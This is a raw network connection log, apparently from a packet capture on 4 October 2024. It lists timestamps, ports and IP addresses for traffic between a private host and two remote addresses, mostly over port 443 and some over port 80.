Oct 4, 2024 15:54:12.483464003 CEST	443	49950	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:12.483812094 CEST	443	49951	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:12.484191895 CEST	49950	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:12.484211922 CEST	49951	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:12.484215975 CEST	443	49950	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:12.484221935 CEST	443	49951	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:12.484575987 CEST	49950	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:12.484581947 CEST	443	49950	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:12.484675884 CEST	49951	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:12.484682083 CEST	443	49951	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:12.570154905 CEST	443	49953	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:12.575814962 CEST	49953	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:12.575845957 CEST	443	49953	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:12.576292992 CEST	49953	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:12.576299906 CEST	443	49953	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:12.578253984 CEST	443	49952	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:12.578871012 CEST	443	49952	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:12.578958035 CEST	49952	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:12.579118967 CEST	49952	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:12.579143047 CEST	443	49952	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:12.579155922 CEST	49952	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:12.579166889 CEST	443	49952	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:12.579896927 CEST	80	49947	141.98.233.156	192.168.2.10
Oct 4, 2024 15:54:12.581778049 CEST	49954	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:12.581808090 CEST	443	49954	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:12.581809044 CEST	443	49951	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:12.581837893 CEST	49947	80	192.168.2.10	141.98.233.156
Oct 4, 2024 15:54:12.581880093 CEST	49954	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:12.582088947 CEST	443	49951	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:12.582109928 CEST	49954	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:12.582114935 CEST	443	49954	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:12.582139969 CEST	49951	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:12.583120108 CEST	49951	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:12.583131075 CEST	443	49951	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:12.583139896 CEST	49951	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:12.583143950 CEST	443	49951	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:12.584120035 CEST	443	49950	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:12.584542990 CEST	443	49950	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:12.584638119 CEST	49950	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:12.585414886 CEST	49950	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:12.585423946 CEST	443	49950	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:12.585438967 CEST	49950	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:12.585443974 CEST	443	49950	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:12.594224930 CEST	49947	80	192.168.2.10	141.98.233.156
Oct 4, 2024 15:54:12.595195055 CEST	49955	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:12.595228910 CEST	443	49955	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:12.595870972 CEST	49956	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:12.595909119 CEST	443	49956	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:12.595912933 CEST	49955	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:12.595953941 CEST	49956	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:12.596072912 CEST	49955	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:12.596086025 CEST	443	49955	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:12.596086025 CEST	49956	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:12.596108913 CEST	443	49956	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:12.599296093 CEST	80	49947	141.98.233.156	192.168.2.10
Oct 4, 2024 15:54:12.672893047 CEST	443	49953	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:12.673450947 CEST	443	49953	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:12.673492908 CEST	443	49953	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:12.673505068 CEST	49953	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:12.673537016 CEST	49953	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:12.673600912 CEST	49953	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:12.673609018 CEST	443	49953	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:12.673620939 CEST	49953	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:12.673625946 CEST	443	49953	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:12.678401947 CEST	49957	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:12.678415060 CEST	443	49957	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:12.678621054 CEST	49957	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:12.678797960 CEST	49957	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:12.678816080 CEST	443	49957	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:13.151710033 CEST	80	49947	141.98.233.156	192.168.2.10
Oct 4, 2024 15:54:13.151730061 CEST	80	49947	141.98.233.156	192.168.2.10
Oct 4, 2024 15:54:13.151851892 CEST	49947	80	192.168.2.10	141.98.233.156
Oct 4, 2024 15:54:13.164602995 CEST	80	49947	141.98.233.156	192.168.2.10
Oct 4, 2024 15:54:13.167376041 CEST	49947	80	192.168.2.10	141.98.233.156
Oct 4, 2024 15:54:13.228279114 CEST	80	49947	141.98.233.156	192.168.2.10
Oct 4, 2024 15:54:13.229687929 CEST	49947	80	192.168.2.10	141.98.233.156
Oct 4, 2024 15:54:13.231139898 CEST	49947	80	192.168.2.10	141.98.233.156
Oct 4, 2024 15:54:13.245296001 CEST	80	49947	141.98.233.156	192.168.2.10
Oct 4, 2024 15:54:13.348526001 CEST	443	49955	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:13.349028111 CEST	49955	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:13.349057913 CEST	443	49955	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:13.349556923 CEST	49955	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:13.349565983 CEST	443	49955	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:13.350919962 CEST	443	49956	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:13.351279974 CEST	443	49957	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:13.351281881 CEST	49956	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:13.351299047 CEST	443	49956	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:13.351665020 CEST	49957	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:13.351682901 CEST	443	49957	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:13.351712942 CEST	49956	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:13.351720095 CEST	443	49956	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:13.352200985 CEST	49957	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:13.352206945 CEST	443	49957	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:13.355256081 CEST	443	49954	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:13.355577946 CEST	49954	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:13.355592966 CEST	443	49954	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:13.355962038 CEST	49954	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:13.355966091 CEST	443	49954	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:13.448390961 CEST	443	49955	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:13.448649883 CEST	443	49955	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:13.448723078 CEST	443	49955	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:13.448730946 CEST	49955	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:13.448767900 CEST	49955	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:13.448961020 CEST	49955	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:13.448982000 CEST	443	49955	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:13.448992968 CEST	49955	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:13.448999882 CEST	443	49955	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:13.450967073 CEST	443	49957	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:13.451008081 CEST	443	49957	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:13.451064110 CEST	443	49957	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:13.451122999 CEST	49957	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:13.451122999 CEST	49957	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:13.451313019 CEST	49957	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:13.451313019 CEST	49957	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:13.451320887 CEST	443	49957	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:13.451329947 CEST	443	49957	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:13.452001095 CEST	49958	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:13.452028990 CEST	443	49958	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:13.452171087 CEST	49958	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:13.452265978 CEST	49958	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:13.452280045 CEST	443	49958	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:13.452951908 CEST	443	49956	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:13.453345060 CEST	49959	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:13.453383923 CEST	443	49959	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:13.453454018 CEST	49959	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:13.453589916 CEST	49959	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:13.453603029 CEST	443	49959	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:13.453730106 CEST	443	49956	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:13.453783989 CEST	49956	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:13.453811884 CEST	49956	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:13.453824043 CEST	443	49956	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:13.453833103 CEST	49956	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:13.453838110 CEST	443	49956	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:13.453946114 CEST	443	49954	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:13.454111099 CEST	443	49954	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:13.454173088 CEST	49954	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:13.454207897 CEST	49954	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:13.454207897 CEST	49954	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:13.454225063 CEST	443	49954	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:13.454233885 CEST	443	49954	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:13.455837011 CEST	49960	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:13.455859900 CEST	443	49960	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:13.455931902 CEST	49960	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:13.456047058 CEST	49960	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:13.456058979 CEST	443	49960	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:13.456170082 CEST	49961	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:13.456209898 CEST	443	49961	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:13.456264019 CEST	49961	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:13.456399918 CEST	49961	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:13.456415892 CEST	443	49961	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:13.791882992 CEST	80	49947	141.98.233.156	192.168.2.10
Oct 4, 2024 15:54:13.791898012 CEST	80	49947	141.98.233.156	192.168.2.10
Oct 4, 2024 15:54:13.791909933 CEST	80	49947	141.98.233.156	192.168.2.10
Oct 4, 2024 15:54:13.791923046 CEST	80	49947	141.98.233.156	192.168.2.10
Oct 4, 2024 15:54:13.791934013 CEST	80	49947	141.98.233.156	192.168.2.10
Oct 4, 2024 15:54:13.791944981 CEST	80	49947	141.98.233.156	192.168.2.10
Oct 4, 2024 15:54:13.792027950 CEST	49947	80	192.168.2.10	141.98.233.156
Oct 4, 2024 15:54:13.792066097 CEST	49947	80	192.168.2.10	141.98.233.156
Oct 4, 2024 15:54:13.878521919 CEST	80	49947	141.98.233.156	192.168.2.10
Oct 4, 2024 15:54:13.878653049 CEST	49947	80	192.168.2.10	141.98.233.156
Oct 4, 2024 15:54:13.880351067 CEST	49947	80	192.168.2.10	141.98.233.156
Oct 4, 2024 15:54:13.885169029 CEST	80	49947	141.98.233.156	192.168.2.10
Oct 4, 2024 15:54:14.116024017 CEST	443	49960	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:14.116827965 CEST	49960	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:14.116837978 CEST	443	49960	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:14.117326975 CEST	49960	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:14.117331028 CEST	443	49960	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:14.117705107 CEST	443	49961	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:14.117981911 CEST	49961	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:14.118019104 CEST	443	49961	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:14.118202925 CEST	443	49949	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:14.118360996 CEST	49961	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:14.118369102 CEST	443	49961	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:14.118560076 CEST	49949	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:14.118585110 CEST	443	49949	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:14.118964911 CEST	49949	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:14.118974924 CEST	443	49949	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:14.119772911 CEST	443	49959	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:14.120003939 CEST	49959	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:14.120023012 CEST	443	49959	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:14.120354891 CEST	49959	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:14.120359898 CEST	443	49959	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:14.125849962 CEST	443	49958	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:14.126125097 CEST	49958	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:14.126137972 CEST	443	49958	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:14.126463890 CEST	49958	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:14.126475096 CEST	443	49958	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:14.219544888 CEST	443	49961	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:14.219588041 CEST	443	49961	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:14.219641924 CEST	443	49961	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:14.219701052 CEST	49961	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:14.219960928 CEST	49961	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:14.219981909 CEST	443	49961	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:14.219990969 CEST	49961	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:14.219999075 CEST	443	49961	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:14.221568108 CEST	443	49960	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:14.221716881 CEST	443	49960	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:14.221811056 CEST	49960	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:14.221832037 CEST	49960	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:14.221843958 CEST	443	49960	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:14.221854925 CEST	49960	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:14.221860886 CEST	443	49960	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:14.223324060 CEST	49962	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:14.223354101 CEST	443	49962	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:14.223428011 CEST	49962	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:14.223550081 CEST	49962	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:14.223565102 CEST	443	49962	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:14.223704100 CEST	443	49959	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:14.223999977 CEST	49963	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:14.224033117 CEST	443	49963	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:14.224092007 CEST	49963	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:14.224231958 CEST	49963	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:14.224244118 CEST	443	49963	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:14.224982023 CEST	443	49959	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:14.225033045 CEST	49959	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:14.225085020 CEST	49959	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:14.225102901 CEST	443	49959	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:14.225114107 CEST	49959	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:14.225120068 CEST	443	49959	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:14.227145910 CEST	49964	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:14.227161884 CEST	443	49964	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:14.227240086 CEST	49964	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:14.227369070 CEST	49964	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:14.227380991 CEST	443	49964	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:14.234400988 CEST	443	49949	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:14.234823942 CEST	443	49949	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:14.234890938 CEST	49949	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:14.234935045 CEST	49949	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:14.234949112 CEST	443	49949	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:14.234961033 CEST	49949	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:14.234966040 CEST	443	49949	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:14.236983061 CEST	49965	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:14.236999035 CEST	443	49965	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:14.237095118 CEST	49965	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:14.237236023 CEST	49965	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:14.237263918 CEST	443	49965	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:14.337905884 CEST	443	49958	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:14.338275909 CEST	443	49958	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:14.338391066 CEST	49958	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:14.338512897 CEST	49958	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:14.338525057 CEST	443	49958	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:14.338534117 CEST	49958	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:14.338538885 CEST	443	49958	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:14.341274977 CEST	49966	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:14.341324091 CEST	443	49966	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:14.341435909 CEST	49966	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:14.341571093 CEST	49966	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:14.341586113 CEST	443	49966	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:14.409564018 CEST	80	49947	141.98.233.156	192.168.2.10
Oct 4, 2024 15:54:14.409687042 CEST	49947	80	192.168.2.10	141.98.233.156
Oct 4, 2024 15:54:14.875669003 CEST	443	49964	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:14.879082918 CEST	49964	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:14.879101992 CEST	443	49964	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:14.879698992 CEST	49964	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:14.879704952 CEST	443	49964	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:14.920409918 CEST	443	49962	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:14.922208071 CEST	49962	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:14.922224998 CEST	443	49962	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:14.922733068 CEST	49962	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:14.922738075 CEST	443	49962	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:14.924248934 CEST	443	49965	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:14.924804926 CEST	49965	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:14.924825907 CEST	443	49965	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:14.925302029 CEST	443	49963	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:14.925533056 CEST	49965	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:14.925543070 CEST	443	49965	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:14.926842928 CEST	49963	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:14.926867008 CEST	443	49963	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:14.927644968 CEST	49963	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:14.927654982 CEST	443	49963	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:14.985141993 CEST	443	49964	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:14.985163927 CEST	443	49964	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:14.985209942 CEST	49964	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:14.985229015 CEST	443	49964	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:14.985419989 CEST	443	49964	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:14.989389896 CEST	49964	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:15.005479097 CEST	49964	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:15.005500078 CEST	443	49964	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:15.005511999 CEST	49964	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:15.005517960 CEST	443	49964	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:15.009105921 CEST	49967	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:15.009134054 CEST	443	49967	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:15.009222031 CEST	49967	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:15.009459972 CEST	49967	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:15.009471893 CEST	443	49967	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:15.027626038 CEST	443	49962	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:15.027769089 CEST	443	49962	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:15.027962923 CEST	49962	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:15.028520107 CEST	49962	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:15.028537035 CEST	443	49962	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:15.028974056 CEST	443	49965	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:15.029000044 CEST	443	49966	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:15.029165983 CEST	443	49965	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:15.029253960 CEST	49965	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:15.029321909 CEST	49965	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:15.029337883 CEST	443	49965	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:15.029361963 CEST	49965	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:15.029376030 CEST	443	49965	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:15.031703949 CEST	49966	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:15.031730890 CEST	443	49966	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:15.032140970 CEST	443	49963	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:15.032202005 CEST	443	49963	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:15.032481909 CEST	49966	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:15.032485962 CEST	49963	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:15.032490969 CEST	443	49966	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:15.034140110 CEST	49963	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:15.034161091 CEST	443	49963	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:15.039017916 CEST	49968	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:15.039051056 CEST	443	49968	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:15.039201021 CEST	49968	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:15.040452003 CEST	49968	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:15.040463924 CEST	443	49968	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:15.043706894 CEST	49969	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:15.043764114 CEST	443	49969	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:15.043818951 CEST	49969	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:15.044401884 CEST	49969	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:15.044413090 CEST	443	49969	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:15.046040058 CEST	49970	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:15.046050072 CEST	443	49970	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:15.046103001 CEST	49970	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:15.046747923 CEST	49970	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:15.046761990 CEST	443	49970	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:15.289418936 CEST	443	49966	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:15.289439917 CEST	443	49966	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:15.289577961 CEST	49966	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:15.289594889 CEST	443	49966	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:15.289863110 CEST	443	49966	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:15.289931059 CEST	49966	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:15.298214912 CEST	49966	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:15.298214912 CEST	49966	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:54:15.298247099 CEST	443	49966	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:15.298257113 CEST	443	49966	13.107.246.60	192.168.2.10
Oct 4, 2024 15:54:15.306721926 CEST	49971	443	192.168.2.10	13.107.246.60
